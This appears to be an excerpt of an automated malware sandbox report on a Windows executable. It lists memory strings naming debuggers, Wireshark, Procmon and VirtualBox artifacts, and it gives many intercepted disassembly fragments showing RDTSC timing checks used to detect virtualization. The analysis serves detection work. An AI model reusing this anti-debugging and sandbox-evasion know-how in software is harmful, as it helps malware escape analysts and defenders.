Source: 1b73492cb0.exe, 0000002D.00000003.2832287597.0000000007546000.00000004.00001000.00020000.00000000.sdmp, 1b73492cb0.exe, 0000002D.00000002.2985058895.0000000000A8D000.00000040.00000001.01000000.00000014.sdmp	Binary or memory string: X64DBG.EXE
Source: 1b73492cb0.exe, 0000002D.00000003.2832287597.0000000007546000.00000004.00001000.00020000.00000000.sdmp, 1b73492cb0.exe, 0000002D.00000002.2985058895.0000000000A8D000.00000040.00000001.01000000.00000014.sdmp	Binary or memory string: WINDBG.EXE
Source: 1b73492cb0.exe, 0000002D.00000002.2985058895.0000000000A8D000.00000040.00000001.01000000.00000014.sdmp	Binary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: 1b73492cb0.exe, 0000002D.00000003.2832287597.0000000007546000.00000004.00001000.00020000.00000000.sdmp, 1b73492cb0.exe, 0000002D.00000002.2985058895.0000000000A8D000.00000040.00000001.01000000.00000014.sdmp	Binary or memory string: WIRESHARK.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F97F60 second address: F97F66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F97F66 second address: F97F87 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FFB34E3B6C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007FFB34E3B6CEh 0x00000010 js 00007FFB34E3B6C6h 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 push eax 0x00000019 jne 00007FFB34E3B6C6h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F977DB second address: F977EE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pushad 0x00000007 jmp 00007FFB34C126BAh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B436 second address: F9B49C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 add dword ptr [esp], 3CE50DD5h 0x0000000e mov ecx, eax 0x00000010 push 00000003h 0x00000012 mov edi, dword ptr [ebp+122D39F7h] 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push edx 0x0000001d call 00007FFB34E3B6C8h 0x00000022 pop edx 0x00000023 mov dword ptr [esp+04h], edx 0x00000027 add dword ptr [esp+04h], 0000001Dh 0x0000002f inc edx 0x00000030 push edx 0x00000031 ret 0x00000032 pop edx 0x00000033 ret 0x00000034 mov edi, dword ptr [ebp+122D3927h] 0x0000003a cmc 0x0000003b push 00000003h 0x0000003d pushad 0x0000003e jne 00007FFB34E3B6C8h 0x00000044 popad 0x00000045 push DCFFAC16h 0x0000004a jnp 00007FFB34E3B6D4h 0x00000050 pushad 0x00000051 jnl 00007FFB34E3B6C6h 0x00000057 push eax 0x00000058 push edx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B49C second address: F9B4E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 xor dword ptr [esp], 1CFFAC16h 0x0000000c mov edx, dword ptr [ebp+122D3610h] 0x00000012 lea ebx, dword ptr [ebp+124602E2h] 0x00000018 push 00000000h 0x0000001a push esi 0x0000001b call 00007FFB34C126B8h 0x00000020 pop esi 0x00000021 mov dword ptr [esp+04h], esi 0x00000025 add dword ptr [esp+04h], 00000017h 0x0000002d inc esi 0x0000002e push esi 0x0000002f ret 0x00000030 pop esi 0x00000031 ret 0x00000032 sub dword ptr [ebp+122D229Bh], eax 0x00000038 push eax 0x00000039 push eax 0x0000003a push edx 0x0000003b jp 00007FFB34C126BCh 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B4E4 second address: F9B4E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B5D5 second address: F9B5E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B5E3 second address: F9B5ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B5ED second address: F9B690 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFB34C126C4h 0x00000009 popad 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d jnp 00007FFB34C126C0h 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 js 00007FFB34C126C2h 0x0000001d pop eax 0x0000001e push 00000000h 0x00000020 push edi 0x00000021 call 00007FFB34C126B8h 0x00000026 pop edi 0x00000027 mov dword ptr [esp+04h], edi 0x0000002b add dword ptr [esp+04h], 0000001Bh 0x00000033 inc edi 0x00000034 push edi 0x00000035 ret 0x00000036 pop edi 0x00000037 ret 0x00000038 sub edi, dword ptr [ebp+122D3903h] 0x0000003e call 00007FFB34C126C7h 0x00000043 mov dword ptr [ebp+122D1CE6h], ecx 0x00000049 pop edx 0x0000004a lea ebx, dword ptr [ebp+124602EBh] 0x00000050 sub edx, dword ptr [ebp+122D399Bh] 0x00000056 push ecx 0x00000057 pop esi 0x00000058 push eax 0x00000059 pushad 0x0000005a pushad 0x0000005b jp 00007FFB34C126B6h 0x00000061 push eax 0x00000062 push edx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B737 second address: F9B775 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFB34E3B6D5h 0x00000009 popad 0x0000000a pop edx 0x0000000b nop 0x0000000c mov edx, dword ptr [ebp+122D37FBh] 0x00000012 mov dword ptr [ebp+122D2F37h], ecx 0x00000018 push 00000000h 0x0000001a mov esi, eax 0x0000001c push E5C3C722h 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FFB34E3B6CBh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B775 second address: F9B7D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jbe 00007FFB34C126B6h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 1A3C395Eh 0x00000013 mov edx, dword ptr [ebp+122D3A57h] 0x00000019 push 00000003h 0x0000001b xor ecx, dword ptr [ebp+122D3512h] 0x00000021 xor si, E5BDh 0x00000026 push 00000000h 0x00000028 or dword ptr [ebp+122D2D56h], ebx 0x0000002e push 00000003h 0x00000030 jns 00007FFB34C126C2h 0x00000036 jnp 00007FFB34C126BCh 0x0000003c mov edi, dword ptr [ebp+122D3987h] 0x00000042 call 00007FFB34C126B9h 0x00000047 jmp 00007FFB34C126BEh 0x0000004c push eax 0x0000004d je 00007FFB34C126C4h 0x00000053 push eax 0x00000054 push edx 0x00000055 push ecx 0x00000056 pop ecx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B7D9 second address: F9B7DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBC963 second address: FBC96F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FFB34C126B6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBC96F second address: FBC973 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7EC1A second address: F7EC1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7EC1E second address: F7EC30 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FFB34E3B6C6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7EC30 second address: F7EC72 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007FFB34C126B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FFB34C126C8h 0x00000011 push ebx 0x00000012 push edx 0x00000013 pop edx 0x00000014 jmp 00007FFB34C126C0h 0x00000019 pop ebx 0x0000001a popad 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jl 00007FFB34C126B6h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7EC72 second address: F7EC76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7EC76 second address: F7EC81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBA78B second address: FBA79F instructions: 0x00000000 rdtsc 0x00000002 jp 00007FFB34E3B6CCh 0x00000008 jnc 00007FFB34E3B6C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBA95D second address: FBA983 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FFB34C126B6h 0x00000008 jmp 00007FFB34C126C1h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007FFB34C126BBh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBA983 second address: FBA9A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FFB34E3B6D5h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBAEFC second address: FBAF0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFB34C126BBh 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBAF0D second address: FBAF1C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jng 00007FFB34E3B6C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBAF1C second address: FBAF2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FFB34C126B6h 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBAF2A second address: FBAF57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jnp 00007FFB34E3B6C6h 0x00000014 push edx 0x00000015 pop edx 0x00000016 popad 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a pushad 0x0000001b popad 0x0000001c jmp 00007FFB34E3B6D0h 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBAF57 second address: FBAF62 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 pop edx 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBB347 second address: FBB34E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBB34E second address: FBB357 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBB4D4 second address: FBB4E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FFB34E3B6C8h 0x0000000a push edi 0x0000000b pop edi 0x0000000c pop edx 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBB4E6 second address: FBB4EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBB632 second address: FBB649 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 js 00007FFB34E3B6C6h 0x0000000e pushad 0x0000000f popad 0x00000010 push edi 0x00000011 pop edi 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBB929 second address: FBB93C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FFB34C126BEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBB93C second address: FBB962 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007FFB34E3B6CEh 0x0000000f jnp 00007FFB34E3B6C6h 0x00000015 push esi 0x00000016 pop esi 0x00000017 push esi 0x00000018 jmp 00007FFB34E3B6CDh 0x0000001d pop esi 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBB962 second address: FBB978 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jbe 00007FFB34C126B6h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e jg 00007FFB34C126BCh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBBA9E second address: FBBAB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 jnp 00007FFB34E3B6F0h 0x0000000d push ecx 0x0000000e pushad 0x0000000f popad 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBBAB3 second address: FBBACF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34C126C8h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBC076 second address: FBC07A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBC07A second address: FBC080 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBC080 second address: FBC086 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBC1CF second address: FBC1EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jo 00007FFB34C126B6h 0x0000000c push edx 0x0000000d pop edx 0x0000000e jo 00007FFB34C126B6h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jno 00007FFB34C126B6h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBC1EE second address: FBC1F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBC1F2 second address: FBC237 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FFB34C126C6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FFB34C126C8h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 pop eax 0x00000017 jnl 00007FFB34C126BAh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBC237 second address: FBC241 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FFB34E3B6C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBC241 second address: FBC245 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBC80D second address: FBC83E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFB34E3B6D0h 0x00000009 pop ecx 0x0000000a pushad 0x0000000b jmp 00007FFB34E3B6D7h 0x00000010 push esi 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC764E second address: FC7658 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC7658 second address: FC765E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC7DB3 second address: FC7DB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC8041 second address: FC8071 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FFB34E3B6D2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b js 00007FFB34E3B6C8h 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 ja 00007FFB34E3B6C6h 0x0000001c push edx 0x0000001d pop edx 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 push edx 0x00000022 pop edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC8071 second address: FC807B instructions: 0x00000000 rdtsc 0x00000002 jng 00007FFB34C126B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC807B second address: FC8083 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC8083 second address: FC8087 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC891B second address: FC8925 instructions: 0x00000000 rdtsc 0x00000002 je 00007FFB34E3B6CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC8925 second address: FC8947 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 mov eax, 6E9C1ACCh 0x0000000d sbb dx, 0353h 0x00000012 popad 0x00000013 push D972F879h 0x00000018 push eax 0x00000019 push edx 0x0000001a jc 00007FFB34C126B8h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC8947 second address: FC894D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC8D6C second address: FC8D8C instructions: 0x00000000 rdtsc 0x00000002 jng 00007FFB34C126B8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007FFB34C126BAh 0x00000013 push eax 0x00000014 push edx 0x00000015 jns 00007FFB34C126B6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC9027 second address: FC902D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC902D second address: FC9031 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC9599 second address: FC959F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC959F second address: FC95A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC95A5 second address: FC95A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC9736 second address: FC973A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC97D1 second address: FC97D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC98DB second address: FC98E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC9AC8 second address: FC9AD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 jbe 00007FFB34E3B6D4h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC9AD9 second address: FC9ADD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC9B64 second address: FC9B9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FFB34E3B6CEh 0x00000008 jmp 00007FFB34E3B6CFh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 jbe 00007FFB34E3B6E8h 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FFB34E3B6CFh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC9B9F second address: FC9BD6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34C126BDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007FFB34C126B8h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 xchg eax, ebx 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC9BD6 second address: FC9BDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC9BDA second address: FC9BE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC9BE0 second address: FC9BE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC9BE6 second address: FC9BEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC9BEA second address: FC9BFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007FFB34E3B6C6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC9BFD second address: FC9C03 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCB140 second address: FCB148 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FCB77C second address: FCB782 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
